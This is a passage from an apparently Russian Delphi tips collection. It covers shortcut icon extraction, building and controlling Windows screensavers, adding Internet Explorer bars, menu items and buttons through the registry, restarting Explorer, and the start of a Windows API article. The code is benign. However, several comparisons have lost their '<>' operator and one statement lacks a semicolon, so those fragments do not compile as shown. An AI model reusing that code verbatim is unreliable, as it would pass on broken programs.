1. Add the following components to a new project, and adjust their
properties according to the code below: }

// Code for DFM file:

object Form1: TForm1
  Left = 379
  Top = 355
  Width = 479
  Height = 382
  Caption = 'Get Icon from Shortcut File'
  Color = clBtnFace
  Font.Charset = DEFAULT_CHARSET
  Font.Color = clWindowText
  Font.Height = -11
  Font.Name = 'MS Sans Serif'
  Font.Style = []
  OldCreateOrder = False
  PixelsPerInch = 96
  TextHeight = 13
  object ListView: TListView
    Left = 0
    Top = 73
    Width = 471
    Height = 275
    Align = alClient
    Columns = <
      item
        Width = 100
      end
      item
        Width = 100
      end>
    SmallImages = imgList
    TabOrder = 0
    ViewStyle = vsReport
  end
  object Panel: TPanel
    Left = 0
    Top = 0
    Width = 471
    Height = 73
    Align = alTop
    TabOrder = 1
    object btnGetFile: TButton
      Left = 16
      Top = 8
      Width = 75
      Height = 25
      Caption = 'Get file'
      TabOrder = 0
      OnClick = btnGetFileClick
    end
    object btnGetIcon: TButton
      Left = 104
      Top = 8
      Width = 75
      Height = 25
      Caption = 'Get icon'
      TabOrder = 1
      OnClick = btnGetIconClick
    end
    object edFileName: TEdit
      Left = 16
      Top = 40
      Width = 441
      Height = 21
      TabOrder = 2
    end
  end
  object dlgOpen: TOpenDialog
    Filter = 'Shortcut files|*.lnk|All files|*.*'
    Options = [ofHideReadOnly, ofNoDereferenceLinks,
      ofEnableSizing]  // - this is important !
    Left = 248
    Top = 8
  end
  object imgList: TImageList
    BlendColor = clWhite
    BkColor = clWhite
    Masked = False
    ShareImages = True
    Left = 216
    Top = 8
  end
end

// 2. Add the code to the PAS file below:

unit cdShortCutIcon;

interface

uses
  Windows, Messages, SysUtils, Variants, Graphics, Controls, Forms,
  Dialogs, Buttons, ExtCtrls, StdCtrls, StrUtils, ShellAPI,
  CommCtrl, ImgList, ComCtrls, Classes;

type
  TForm1 = class(TForm)
    dlgOpen: TOpenDialog;
    ListView: TListView;
    imgList: TImageList;
    Panel: TPanel;
    btnGetFile: TButton;
    btnGetIcon: TButton;
    edFileName: TEdit;
    procedure btnGetFileClick(Sender: TObject);
    procedure btnGetIconClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.btnGetFileClick(Sender: TObject);
begin
  { choose file to get icon from }
  if dlgOpen.Execute then edFileName.Text := dlgOpen.FileName;
end;

procedure TForm1.btnGetIconClick(Sender: TObject);
var
  Icon : TIcon;
  ListItem : TListItem;
  shInfo : TSHFileInfo;
  sFileType : string;
begin
  { initialise ListView and Icon }
  ListView.SmallImages := imgList;
  Icon := TIcon.Create;

  try
    ListView.Items.BeginUpdate;
    ListItem := listview.items.add;{ Initialise ListView.Item.Add }

    { get details about file type from SHGetFileInfo }
    SHGetFileInfo(PChar(edFileName.Text), 0, shInfo,
      SizeOf(shInfo), SHGFI_TYPENAME);
    sFileType := shInfo.szTypeName;

    { is this a shortcut file ? }
    if shInfo.szTypeName = 'Shortcut' then
      SHGetFileInfo(PChar(edFileName.Text), 0, shInfo, SizeOf(shInfo),
        SHGFI_LINKOVERLAY or SHGFI_ICON or
        SHGFI_SMALLICON or SHGFI_SYSICONINDEX)
    else
      { ...otherwise treat it as a normal file}
      SHGetFileInfo(PChar(edFileName.Text), 0, shInfo, SizeOf(shInfo),
        SHGFI_ICON or SHGFI_SMALLICON or
        SHGFI_SYSICONINDEX);

    { assign icon }
    Icon.Handle := shInfo.hIcon;

    { List File name, Icon and FileType in ListView}
    ListItem.Caption := ExtractFileName(edFileName.Text);    //...add filename
    ListItem.SubItems.Add(sFileType); //...and filetype..
    ListItem.ImageIndex := imgList.AddIcon(Icon); //...and icon.
  finally
    ListView.Items.EndUpdate; //..free memory on icon and clean up.
    sFileType := '';
    Icon.Free;
  end;
end;

end.


Хранитель экрана

Cодержание раздела:

Как написать сквой хранитель экрана?
Как включить/отключить хранитель экрана?
Пишем Screensaver в Delphi
Как запустить текущий ScreenSaver
Как определить установлен ли screen saver? New!


Как написать сквой хранитель экрана?

1.В файл проекта (*.DPR) добавить строку {$D SCRNSAVE <название хранителя>} после строки подключения модулей (Uses...). 2.У окна формы убрать системное меню, кнопки и придать свойству WindowState значение wsMaximize. 3.Предусмотреть выход из хранителя при нажатии на клавиши клавиатуры, мыши и при перемещении курсора мыши. 4.Проверить параметры с которым был вызван хранитель и если это /c - показать окно настройки хранителя, а иначе (можно проверять на /s, а можно и не проверять) сам хранитель. /p - для отображения в окне установок хранителя экрана. 5.Скомпилировать хранитель экрана. 6.Переименовать *.EXE файл в файл *.SCR и скопировать его в каталог WINDOWS\SYSTEM\. 7.Установить новый хранитель в настройках системы! Название хранителя может состоять из нескольких слов с пробелами, на любом языке. При работе хранителя необходимо прятать курсор мыши, только не забывайте восстанавливать его после выхода. Все параметры и настройки храните в файле .INI, так как хранитель и окно настройки не связаны друг с другом напрямую. Старайтесь сделать свой хранитель как можно меньше и быстрее. Иначе ваши долго работающие (в фоновом режиме) приложения будут работать еше дольше!
{в файле *.DPR}
{$D SCRNSAVE Пример хранителя экрана}

{проверить переданные параметры}
IF (ParamStr(1) = '/c') OR (ParamStr(1) = '/C') THEN

{скрыть курсор мыши}
ShowCursor(False);

{восстановить курсор мыши}
ShowCursor(True);

Главное о чем стоит упомянуть это, что ваш хранитель экрана будет работать в фоновом режиме и он не должен мешать работе других запущенных программ. Поэтому сам хранитель должен быть как можно меньшего объема. Для уменьшения объема файла в описанной ниже программе не используется визуальные компоненты Delphi, включение хотя бы одного из них приведет к увеличению размера файла свыше 200кб, а так, описанная ниже программа, имеет размер всего 20кб!!! Технически, хранитель экрана является нормальным EXE файлом (с расширением .SCR), который управляется через командные параметры строки. Например, если пользователь хочет изменить параметры вашего хранителя, Windows выполняет его с параметром "-c" в командной строке. Поэтому начать создание вашего хранителя экрана следует с создания примерно следующей функции:

Procedure RunScreenSaver;
Var S : String;
Begin
  S := ParamStr(1);
  If (Length(S) > 1) Then Begin
   Delete(S,1,1); { delete first char - usally "/" or "-" }
   S[1] := UpCase(S[1]);
  End;
  LoadSettings; { load settings from registry }
  If (S = 'C') Then RunSettings
  Else If (S = 'P') Then RunPreview
  Else If (S = 'A') Then RunSetPassword
  Else RunFullScreen;
End;

Поскольку нам нужно создавать небольшое окно предварительного просмотра и полноэкранное окно, их лучше объединить используя единственный класс окна. Следуя правилам хорошего тона, нам также нужно использовать многочисленные нити. Дело в том, что, во-первых, хранитель не должен переставать работать даже если что-то "тяжелое" случилось, и во-вторых, нам не нужно использовать таймер. Процедура для запуска хранителя на полном экране - приблизительно такова:

Procedure RunFullScreen;
Var
  R        : TRect;
  Msg      : TMsg;
  Dummy     : Integer;
  Foreground : hWnd;
Begin
  IsPreview := False;  MoveCounter := 3;
  Foreground := GetForegroundWindow;
  While (ShowCursor(False) > 0) do ;
  GetWindowRect(GetDesktopWindow,R);
  CreateScreenSaverWindow(R.Right-R.Left,R.Bottom-R.Top,0);
  CreateThread(nil,0,@PreviewThreadProc,nil,0,Dummy);
  SystemParametersInfo(spi_ScreenSaverRunning,1,@Dummy,0);
  While GetMessage(Msg,0,0,0) do Begin
   TranslateMessage(Msg);
   DispatchMessage(Msg);
  End;
  SystemParametersInfo(spi_ScreenSaverRunning,0,@Dummy,0);
  ShowCursor(True);
  SetForegroundWindow(Foreground);
End;

Во-первых, мы проинициализировали некоторые глобальные переменные (описанные далее), затем прячем курсор мыши и создаем окно хранителя экрана. Имейте в виду, что важно уведомлять Windows, что это - хранителя экрана через SystemParametersInfo (это выводит из строя Ctrl-Alt-Del чтобы нельзя было вернуться в Windows не введя пароль). Создание окна хранителя:

Function CreateScreenSaverWindow(Width,Height : Integer;
  ParentWindow : hWnd) : hWnd;
Var WC : TWndClass;
Begin
  With WC do Begin
   Style := cs_ParentDC;
   lpfnWndProc := @PreviewWndProc;
   cbClsExtra := 0;  cbWndExtra := 0; hIcon := 0; hCursor := 0;
   hbrBackground := 0; lpszMenuName := nil;
   lpszClassName := 'MyDelphiScreenSaverClass';
   hInstance := System.hInstance;
  end;
  RegisterClass(WC);
  If (ParentWindow  0) Then
   Result := CreateWindow('MyDelphiScreenSaverClass','MySaver',
     ws_Child Or ws_Visible or ws_Disabled,0,0,
     Width,Height,ParentWindow,0,hInstance,nil)
  Else Begin
   Result := CreateWindow('MyDelphiScreenSaverClass','MySaver',
     ws_Visible or ws_Popup,0,0,Width,Height, 0,0,hInstance,nil);
   SetWindowPos(Result,hwnd_TopMost,0,0,0,0,swp_NoMove or swp_NoSize
or swp_NoRedraw);
  End;
  PreviewWindow := Result;
End;

Теперь окна созданы используя вызовы API. Я удалил проверку ошибки, но обычно все проходит хорошо, особенно в этом типе приложения. Теперь Вы можете погадать, как мы получим handle родительского окна предварительного просмотра ? В действительности, это совсем просто: Windows просто передает handle в командной строке, когда это нужно. Таким образом:

Procedure RunPreview;
Var
  R          : TRect;
  PreviewWindow : hWnd;
  Msg         : TMsg;
  Dummy       : Integer;
Begin
  IsPreview := True;
  PreviewWindow := StrToInt(ParamStr(2));
  GetWindowRect(PreviewWindow,R);
  CreateScreenSaverWindow(R.Right-R.Left,R.Bottom-
R.Top,PreviewWindow);
  CreateThread(nil,0,@PreviewThreadProc,nil,0,Dummy);
  While GetMessage(Msg,0,0,0) do Begin
   TranslateMessage(Msg); DispatchMessage(Msg);
  End;
End;

Как Вы видите, window handle является вторым параметром (после "-p"). Чтобы "выполнять" хранителя экрана - нам нужна нить. Это создается с вышеуказанным CreateThread. Процедура нити выглядит примерно так:

Function PreviewThreadProc(Data : Integer) : Integer; StdCall;
Var R : TRect;
Begin
  Result := 0; Randomize;
  GetWindowRect(PreviewWindow,R);
  MaxX := R.Right-R.Left;  MaxY := R.Bottom-R.Top;
  ShowWindow(PreviewWindow,sw_Show); UpdateWindow(PreviewWindow);
  Repeat
   InvalidateRect(PreviewWindow,nil,False);
   Sleep(30);
  Until QuitSaver;
  PostMessage(PreviewWindow,wm_Destroy,0,0);
End;

Нить просто заставляет обновляться изображения в нашем окне, спит на некоторое время, и обновляет изображения снова. А Windows будет посылать сообщение WM_PAINT на наше окно (не в нить !). Для того, чтобы оперировать этим сообщением, нам нужна процедура:

Function PreviewWndProc(Window : hWnd; Msg,WParam,
  LParam : Integer): Integer; StdCall;
Begin
  Result := 0;
  Case Msg of
   wm_NCCreate  : Result := 1;
   wm_Destroy   : PostQuitMessage(0);
   wm_Paint    : DrawSingleBox; { paint something }
   wm_KeyDown   : QuitSaver := AskPassword;
   wm_LButtonDown, wm_MButtonDown, wm_RButtonDown, wm_MouseMove :
               Begin
                If (Not IsPreview) Then Begin
                  Dec(MoveCounter);
                  If (MoveCounter <= 0) Then QuitSaver :=
AskPassword;
                End;
               End;
    Else Result := DefWindowProc(Window,Msg,WParam,LParam);
  End;
End;

Если мышь перемещается, кнопка нажала, мы спрашиваем у пользователя пароль:

Function AskPassword : Boolean;
Var
  Key   : hKey;
  D1,D2 : Integer; { two dummies }
  Value : Integer;
  Lib   : THandle;
  F    : TVSSPFunc;
Begin
  Result := True;
  If (RegOpenKeyEx(hKey_Current_User,'Control Panel\Desktop',0,
     Key_Read,Key) = Error_Success) Then
  Begin
   D2 := SizeOf(Value);
   If (RegQueryValueEx(Key,'ScreenSaveUsePassword',nil,@D1,
      @Value,@D2) = Error_Success) Then
   Begin
     If (Value  0) Then Begin
      Lib := LoadLibrary('PASSWORD.CPL');
      If (Lib > 32) Then Begin
        @F := GetProcAddress(Lib,'VerifyScreenSavePwd');
        ShowCursor(True);
        If (@F  nil) Then Result := F(PreviewWindow);
        ShowCursor(False);
        MoveCounter := 3; { reset again if password was wrong }
        FreeLibrary(Lib);
      End;
     End;
   End;
   RegCloseKey(Key);
  End;
End;

Это также демонстрирует использование registry на уровне API. Также имейте в виду как мы динамически загружаем функции пароля, используюя LoadLibrary. Запомните тип функции? TVSSFunc ОПРЕДЕЛЕН как:

Type
TVSSPFunc = Function(Parent : hWnd) : Bool; StdCall;

Теперь почти все готово, кроме диалога конфигурации. Это
запросто:

Procedure RunSettings;
Var Result : Integer;
Begin
  Result :=
DialogBox(hInstance,'SaverSettingsDlg',0,@SettingsDlgProc);
  If (Result = idOK) Then SaveSettings;
End;

Трудная часть -это создать диалоговый сценарий (запомните: мы не используем здесь Delphi формы!). Я сделал это, используя 16-битовую Resource Workshop (остался еще от Turbo Pascal для Windows). Я сохранил файл как сценарий (текст), и скомпилированный это с BRCC32:

SaverSettingsDlg DIALOG 70, 130, 166, 75
STYLE WS_POPUP | WS_DLGFRAME | WS_SYSMENU
CAPTION "Settings for Boxes"
FONT 8, "MS Sans Serif"
BEGIN
   DEFPUSHBUTTON "OK", 5, 115, 6, 46, 16
   PUSHBUTTON "Cancel", 6, 115, 28, 46, 16
      CTEXT "Box &Color:", 3, 2, 30, 39, 9
   COMBOBOX 4, 4, 40, 104, 50, CBS_DROPDOWNLIST | CBS_HASSTRINGS
   CTEXT "Box &Type:", 1, 4, 3, 36, 9
   COMBOBOX 2, 5, 12, 103, 50, CBS_DROPDOWNLIST | CBS_HASSTRINGS
   LTEXT "Boxes Screen Saver for Win32 Copyright (c) 1996 Jani
         Jдrvinen.", 7, 4, 57, 103, 16,
         WS_CHILD | WS_VISIBLE | WS_GROUP
End

Почти также легко сделать диалоговое меню:

Function SettingsDlgProc(Window : hWnd; Msg,WParam,LParam : Integer):
Integer; StdCall;
Var S : String;
Begin
  Result := 0;
  Case Msg of
   wm_InitDialog : Begin
                 { initialize the dialog box }
                 Result := 0;
               End;
   wm_Command   : Begin
                 If (LoWord(WParam) = 5) Then
EndDialog(Window,idOK)
                 Else If (LoWord(WParam) = 6) Then
EndDialog(Window,idCancel);
               End;
   wm_Close     : DestroyWindow(Window);
   wm_Destroy   : PostQuitMessage(0);
   Else Result := 0;
  End;
End;

После того, как пользователь выбрал некоторые установочные параметры, нам нужно сохранить их.

Procedure SaveSettings;
Var
  Key   : hKey;
  Dummy : Integer;
Begin
  If (RegCreateKeyEx(hKey_Current_User,
                'Software\SilverStream\SSBoxes',
                0,nil,Reg_Option_Non_Volatile,
                Key_All_Access,nil,Key,
                @Dummy) = Error_Success) Then Begin
   RegSetValueEx(Key,'RoundedRectangles',0,Reg_Binary,
    @RoundedRectangles,SizeOf(Boolean));
   RegSetValueEx(Key,'SolidColors',0,Reg_Binary,
@SolidColors,SizeOf(Boolean));
   RegCloseKey(Key);
  End;
End;

Загружаем параметры так:

Procedure LoadSettings;
Var
  Key   : hKey;
  D1,D2 : Integer; { two dummies }
  Value : Boolean;
Begin
  If (RegOpenKeyEx(hKey_Current_User,
               'Software\SilverStream\SSBoxes',0,
               Key_Read,
               Key) = Error_Success) Then Begin
   D2 := SizeOf(Value);
   If (RegQueryValueEx(Key,'RoundedRectangles',nil,@D1,
      @Value, @D2) = Error_Success) Then
   Begin
     RoundedRectangles := Value;
   End;
   If (RegQueryValueEx(Key,'SolidColors',nil,@D1,
      @Value,@D2) = Error_Success) Then
   Begin
     SolidColors := Value;
   End;
   RegCloseKey(Key);
  End;
End;

Легко? Нам также нужно позволить пользователю, установить пароль. Я честно не знаю почему это оставлено разработчику приложений ? Тем не менее:

Procedure RunSetPassword;
Var
  Lib : THandle;
  F   : TPCPAFunc;
Begin
  Lib := LoadLibrary('MPR.DLL');
  If (Lib > 32) Then Begin
   @F := GetProcAddress(Lib,'PwdChangePasswordA');
   If (@F  nil) Then F('SCRSAVE',StrToInt(ParamStr(2)),0,0);
   FreeLibrary(Lib);
  End;
End;

Мы динамически загружаем (недокументированную) библиотеку MPR.DLL, которая имеет функцию, чтобы установить пароль хранителя экрана, так что нам не нужно беспокоиться об этом. TPCPAFund ОПРЕДЕЛЕН как:

Type
TPCPAFunc = Function(A : PChar; Parent : hWnd; B,C : Integer) :
Integer; StdCall;

(Не спрашивайте меня что за параметры B и C) Теперь единственная вещь, которую нам нужно рассмотреть, - самая странная часть: создание графики. Я не великий ГУРУ графики, так что Вы не увидите затеняющие многоугольники, вращающиеся в реальном времени. Я только сделал некоторые ящики.

Procedure DrawSingleBox;
Var
  PaintDC  : hDC;
  Info    : TPaintStruct;
  OldBrush : hBrush;
  X,Y     : Integer;
  Color   : LongInt;
Begin
  PaintDC := BeginPaint(PreviewWindow,Info);
  X := Random(MaxX); Y := Random(MaxY);
  If SolidColors Then
   Color :=
GetNearestColor(PaintDC,RGB(Random(255),Random(255),Random(255)))
  Else Color := RGB(Random(255),Random(255),Random(255));
  OldBrush := SelectObject(PaintDC,CreateSolidBrush(Color));
  If RoundedRectangles Then
   RoundRect(PaintDC,X,Y,X+Random(MaxX-X),Y+Random(MaxY-Y),20,20)
  Else Rectangle(PaintDC,X,Y,X+Random(MaxX-X),Y+Random(MaxY-Y));
  DeleteObject(SelectObject(PaintDC,OldBrush));
  EndPaint(PreviewWindow,Info);
End;

Чтобы закончить создание хранителя, я даю Вам некоторые детали. Первые, глобальные переменные:

Var
  IsPreview       : Boolean;
  MoveCounter      : Integer;
  QuitSaver       : Boolean;
  PreviewWindow    : hWnd;
  MaxX,MaxY       : Integer;
  RoundedRectangles : Boolean;
  SolidColors      : Boolean;

Затем исходная программа проекта (.dpr). Красива, а!?

program MySaverIsGreat;
uses
   windows, messages, Utility; { defines all routines }
{$R SETTINGS.RES}
begin
  RunScreenSaver;
end.

Ох, чуть не забыл: Если, Вы используете SysUtils в вашем проекте (StrToInt определен там) Вы получаете большой EXE чем обещанный 20k. Если Вы хотите все же иметь20k, Вы не можете использовать SysUtils так, или Вам нужно написать вашу собственную StrToInt программу. Конец. Use Val... ;-) перевод: Владимиров А.М. От переводчика. Если все же очень трудно обойтись без использования Delphi-форм, то можно поступить как в случае с вводом пароля: форму изменения параметров хранителя сохранить в виде DLL и динамически ее загружать при необходимости. Т.о. будет маленький и шустрый файл самого хранителя экрана и довеска DLL для конфигурирования и прочего (там объем и скорость уже не критичны).


Как включить/отключить хранитель экрана?

procedure TForm1.Button1Click(Sender: TObject);
begin
{Turn it off}
  SystemParametersInfo(SPI_SETSCREENSAVEACTIVE,
                       0,
                       nil,
                       0);
{Turn it on}
  SystemParametersInfo(SPI_SETSCREENSAVEACTIVE,
                       1,
                       nil,
                       0);
end;


Пишем Screensaver в Delphi

Автор: Dave Murray

В примере описывается создание простейшего скринсейвера, а так же его установка и запуск.

Совместимость: Delphi (все версии)

Для написания скринсейвера нам необходимо включить следующие процедуры:

FormShow - скрыть курсор, установка обработки сообщений, начало отображения скринсейвера
FormHide - окончание отображения скринсейвера, отображение курсора
DeactivateScrSaver - обработка сообщений, деактивирование, если нажата мышка или клавиатура

Типичный код для этих процедур показан ниже.

Вы должны быть уверены, что Ваша форма создана со стилем fsStayOnTop. Вы так же должны быть уверены, что только один экземпляр Вашей программы будет запущен в системе. И в заключении Вам необходимо включить директиву компилятора {$D "Programname Screensaver"} в Ваш проект (*.dpr).

После того, как Вы скомпилируете программу, измените расширение файла на SCR и скопируйте его в Вашу системную папку \WINDOWS\SYSTEM .

var
  crs : TPoint;  {первоначально расположение курсора мышки}

procedure TScrForm.FormShow(Sender: TObject);
{starts the screensaver}
begin
  WindowState := wsMaximized; {окошко будет на полный экран}
  GetCursorPos(crs); {получаем позицию курсора}
  Application.OnMessage := DeactivateScrSaver; {проверяем мышку/клавиатуру}
  ShowCursor(false); {скрываем курсор}
  {начинаем отображение скринсейвера...}
  //
end; {процедура TScrForm.FormShow}

procedure TScrForm.FormHide(Sender: TObject);
{возвращаем управление пользователю}
begin
  Application.OnMessage := nil; {запрещаем сообщения}
  {останавливаем скринсейвер...}
  //
  ShowCursor(true); {возвращаем курсор назад}
end; {procedure TScrForm.FormHide}

procedure TScrForm.DeactivateScrSaver(var Msg : TMsg; var Handled : boolean);
{определение движения мышки или нажатия на клавиатуре}
var
  done : boolean;
begin
  if Msg.message = WM_MOUSEMOVE then {сдвинулась мышка}
    done := (Abs(LOWORD(Msg.lParam) - crs.x) > 5) or
            (Abs(HIWORD(Msg.lParam) - crs.y) > 5)
  else {key / mouse нажаты?}
    done := (Msg.message = WM_KEYDOWN)     or (Msg.message = WM_KEYUP)       or
            (Msg.message = WM_SYSKEYDOWN)  or (Msg.message = WM_SYSKEYUP)    or
            (Msg.message = WM_ACTIVATE)    or (Msg.message = WM_NCACTIVATE)  or
            (Msg.message = WM_ACTIVATEAPP) or (Msg.message = WM_LBUTTONDOWN) or
            (Msg.message = WM_RBUTTONDOWN) or (Msg.message = WM_MBUTTONDOWN);
  if done then
    Close;
end; {procedure TScrForm.DeactivateScrSaver}

Взято из http://forum.sources.ru


Как запустить текущий ScreenSaver

SendMessage(Application.Handle, WM_SYSCOMMAND, SC_SCREENSAVE, 0);

Взято с http://delphiworld.narod.ru


Как определить установлен ли screen saver?

function ScreenSaverEnabled: Boolean;
var
  status: Bool;
begin
  SystemParametersInfo(SPI_GETSCREENSAVEACTIVE, 0, @status, 0);
  Result := status = True;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if ScreenSaverEnabled then
    Caption := 'Screensaver is enabled.'
  else
    Caption := 'Screensaver is disabled.'
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Работа с Explorer (Проводником)

Cодержание раздела:

Как перезагрузить Explorer?
Как добавить собственную панель?
Как добавить свой пункт меню?
Как добавить кнопку?


Как добавить собственную панель?

function AddExplorerBar(BarTitle, Url: string; BarSize: Int64; Horizontal:
  Boolean): string;
const
  EXPLORERBAR_ID = '{4D5C8C2A-D075-11d0-B416-00C04FB90376}';
  VERTICAL_BAR = '{00021493-0000-0000-C000-000000000046}';
  HORIZONTAL_BAR = '{00021494-0000-0000-C000-000000000046}';
var
  GUID: TGUID;
  SysDir, ID: string;
  Reg: TRegistry;
begin
  CreateGuid(GUID);
  ID := GuidToString(GUID);
  Reg := TRegistry.Create;
  with Reg do
  try
    RootKey := HKEY_CLASSES_ROOT;
    OpenKey('\CLSID\' + ID, True);
    WriteString('', 'BarTitle');
    CloseKey;
    CreateKey('\CLSID\' + ID + '\Implemented Categories');
    if HORIZONTAL then
      CreateKey('\CLSID\' + ID + '\Implemented Categories\' +
        HORIZONTAL_BAR)
    else
      CreateKey('\CLSID\' + ID + '\Implemented Categories\' +
        VERTICAL_BAR);
    SetLength(SysDir, 255);
    GetSysDirectory(PChar(SysDir), 255);
    SysDir := PChar(SysDir) + '\SHDOCVW.DLL';
    OpenKey('\CLSID\' + ID + '\InProcServer32', True);
    Writestring('', SysDir);
    WriteString('Threadingmodel', 'Apartment');
    CloseKey;
    OpenKey('\CLSID\' + ID + '\Instance', True);
    WriteString('CLSID', EXPLORERBAR_ID);
    CloseKey;
    OpenKey('\CLSID\' + ID + '\Instance\InitPropertyBag', True);
    WriteString('Url', URL);
    CloseKey;
    RootKey := HKEY_LOCAL_MACHINE;
    OpenKey('Software\Microsoft\Internet Explorer\Explorer Bars\'
      + ID, True);
    WriteBinaryData('BarSize', BarSize, SizeOf(BarSize));
    CloseKey;
    OpenKey('\Software\IE5Tools\Explorer Bars\', True);
    WriteString(BarTitle, ID);
    CloseKey;
    OpenKey('\Software\Microsoft\Internet Explorer\Toolbar', True)
      WriteString(ID, '');
    CloseKey;
  finally
    Free;
  end;
  result := ID;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как добавить свой пункт меню?

function AddMenuItem(ConnType: TconnType; MenuText, StatusBarText,
  GuidOrPath: string; HelpMenu: Boolean): string;
var
  GUID: TGUID;
  ID: string;
  Reg: TRegistry;
begin
  CreateGuid(GUID);
  ID := GuidToString(GUID);
  Reg := TRegistry.Create;
  with Reg do
  begin
    RootKey := HKEY_LOCAL_MACHINE;
    OpenKey('\Software\Microsoft\Internet Explorer\Extensions\'
      + ID, True);
    if HelpMenu then
      WriteString('MenuCostumize', 'help');
    WriteString('CLSID', '{1FBA04EE-3024-11d2-8F1F-0000F87ABD16}');
    WriteString('MenuText', MenuText);
    WriteString('MenuStatusBar', StatusBarText);
    case ConnType of
      EXECUTABLE: WriteString('Exec', GuidOrPath);
      COM_OBJECT: WriteString('ClsidExtension', GuidOrPath);
      SCRIPT: WriteString('Script', GuidOrPath);
    end;
    CloseKey;
    OpenKey('\Software\IE5Tools\Menu Items\', True);
    WriteString(MenuText, ID);
    CloseKey;
    Free;
  end;
  Result := ID;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как добавить кнопку?

type
  TConnType = (COM_OBJECT, EXPLORER_BAR, SCRIPT, EXECUTABLE);

function AddBandToolbarBtn(Visible: Boolean; ConnType: TConnType;
  BtnText, HotIcon, Icon, GuidOrPath: string): string;
var
  GUID: TGUID;
  Reg: TRegistry;
  ID: string;
begin
  CreateGuid(GUID);
  ID := GuidToString(GUID);
  Reg := TRegistry.Create;
  with Reg do
  try
    RootKey := HKEY_LOCAL_MACHINE;
    OpenKey('\Software\Microsoft\Internet Explorer\Extensions\'
      + ID, True);
    if Visible then
      WriteString('Default Visible', 'Yes')
    else
      WriteString('Default Visible', 'No');
    WriteString('ButtonText', BtnText);
    WriteString('HotIcon', HotIcon);
    WriteString('Icon', Icon);
    case ConnType of
      COM_OBJECT:
        begin
          WriteString('CLSID', '{1FBA04EE-3024-11d2-8F1F-0000F87ABD16}');
          WriteString('ClsidExtension', GuidOrPath);
        end;
      EXPLORER_BAR:
        begin
          WriteString('CLSID', '{E0DD6CAB-2D10-11D2-8F1A-0000F87ABD16}');
          WriteString('BandCLSID', GuidOrPath);
        end;
      EXECUTABLE:
        begin
          WriteString('CLSID', '{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}');
          WriteString('Exec', GuidOrPath);
        end;
      SCRIPT:
        begin
          writeString('CLSID', '{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}');
          WriteString('Script', GuidOrPath);
        end;
    end;
    CloseKey;
    OpenKey('\Software\IE5Tools\ToolBar Buttons\', True);
    WriteString(BtnText, ID);
    CloseKey;
  finally
    Free;
  end;
  Result := ID;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как перезагрузить Explorer?

HWND hwndShell;
hwndShell = FindWindow ("Progman", NULL);
PostMessage (hwndShell, WM_QUIT, 0, 0L);
ShellExecute (0, "open", "Explorer", NULL, NULL, SW_SHOWNORMAL);


Delphi и Windows API (Статья)

Одной из наиболее интересных особенностей Delphi является предоставление, наряду с высокоуровневыми функциями VCL, простого доступа к функциям Windows API. Программист в любой момент волен, в зависимости от стоящей перед ним задачи, выбрать для её решения простые в использовании компоненты, либо реализовать алгоритм, требующий компактности и быстродействия при помощи прямых вызовов API. Более того, как правило, можно не прекращая использовать компоненты и визуальное программирование нанести несколько штрихов при помощи API и добиться максимальной точности решения задачи и быстродействия.

Windows – окна и сообщения

Окна
Само название операционной системы Windows говорит, что основным её элементом является окно. Для успешного программирования разработчик должен четко представлять себе, что подразумевается в Windows под этим понятием.
Для начинающих программистов не очевидно, что окнами Windows являются не только главные окна, но и большинство элементов управления в них, таких как поля ввода, списки, кнопки и т.п. Фактически, любой элемент интерфейса, способный получать фокус ввода является окном Windows. Окна могут иметь окно-владельца (Parent window). В этом случае они называются дочерним окном (Child Window) и располагаются на поверхности владельца.

Класс окна
Поведение окна и его внешний вид определяются классом окна. Класс – это внутренняя структура Windows, описывающая шаблон, на основании которого операционная система создает окна. Перед созданием окна Вы должны зарегистрировать его класс при помощи функции:

function RegisterClassEx(
  const WndClass: TWndClassEx
): ATOM; stdcall;

Функция получает структуру данных TWndClassEx, описанную как:

TWndClassEx = packed record
  cbSize: UINT;            // размер структуры, должен быть равен
                           // SizeOf(TWndClassEx)
  style: UINT;             // стиль класса
  lpfnWndProc: TFNWndProc; // адрес процедуры-обработчика сообщений
  cbClsExtra: Integer;     // размер дополнительных данных класса
  cbWndExtra: Integer;     // размер дополнительных данных окна
  hInstance: HINST;        // идентификатор модуля, в котором
                           // находится процедура обработки сообщений
  hIcon: HICON;            // идентификатор значка окна
  hCursor: HCURSOR;        // курсор, который будет появляться при
                           // прохождении указателя мыши над окном
  hbrBackground: HBRUSH;   // кисть, используемая при заполнении фона
                           // окна
  lpszMenuName: PAnsiChar; // имя ресурса, содержащего меню окна
  lpszClassName: PAnsiChar;// имя класса
  hIconSm: HICON;          // маленький значок окна
end;

Рассмотрим ключевые элементы этой структуры подробнее.
Style Битовая маска, задающая стиль окна. Стиль – это набор флагов, указывающих системе, какие действия надо предпринимать «по умолчанию» при возникновении тех или иных событий в окне. Стиль класса в основном определяет моменты связанные с прорисовкой окна
lpfnWndProc Адрес процедуры-обработчика сообщений. Каждый раз, когда в Windows возникает какое-либо событие, относящееся к окну (например, возникла необходимость в перерисовке или переместился курсор мыши над окном), система формирует сообщение, состоящее из идентификатора и двух целочисленных параметров wParam и lParam, и вызывает эту функцию. Таким образом, функция обработки сообщений и определяет поведение всех окон, созданных с этим стилем.
hIcon Идентификатор значка, который будет выводиться в левом верхнем углу окна. Сам значок может быть загружен из ресурса функцией API LoadIcon.
lpszMenuName Имя меню. Это меню должно быть оформлено в виде ресурса. Если имя не задано – окно по умолчанию не будет иметь меню
lpszClassName Имя класса. В дальнейшем на него можно будет ссылаться при создании новых окон.
Как видно из этой структуры именно на уровне класса окна определяется функция обработки сообщений, которая будет определять поведение всех окон с этим классом.

Создание окна
После того, как класс зарегистрирован, приложение может создавать окна этого класса функцией:

function CreateWindowEx(
  dwExStyle: DWORD;    // расширенный стиль окна
  lpClassName: PChar;  // имя класса
  lpWindowName: PChar; // заголовок окна
  dwStyle: DWORD;      // стиль окна
  X, Y, nWidth,
  nHeight: Integer;    // размеры и позиция на экране
  hWndParent: HWND;    // идентификатор окна-владельца
  hMenu: HMENU;        // идентификатор меню окна
  hInstance: HINST;    // идентификатор модуля, ассоциированного с
                       // окном
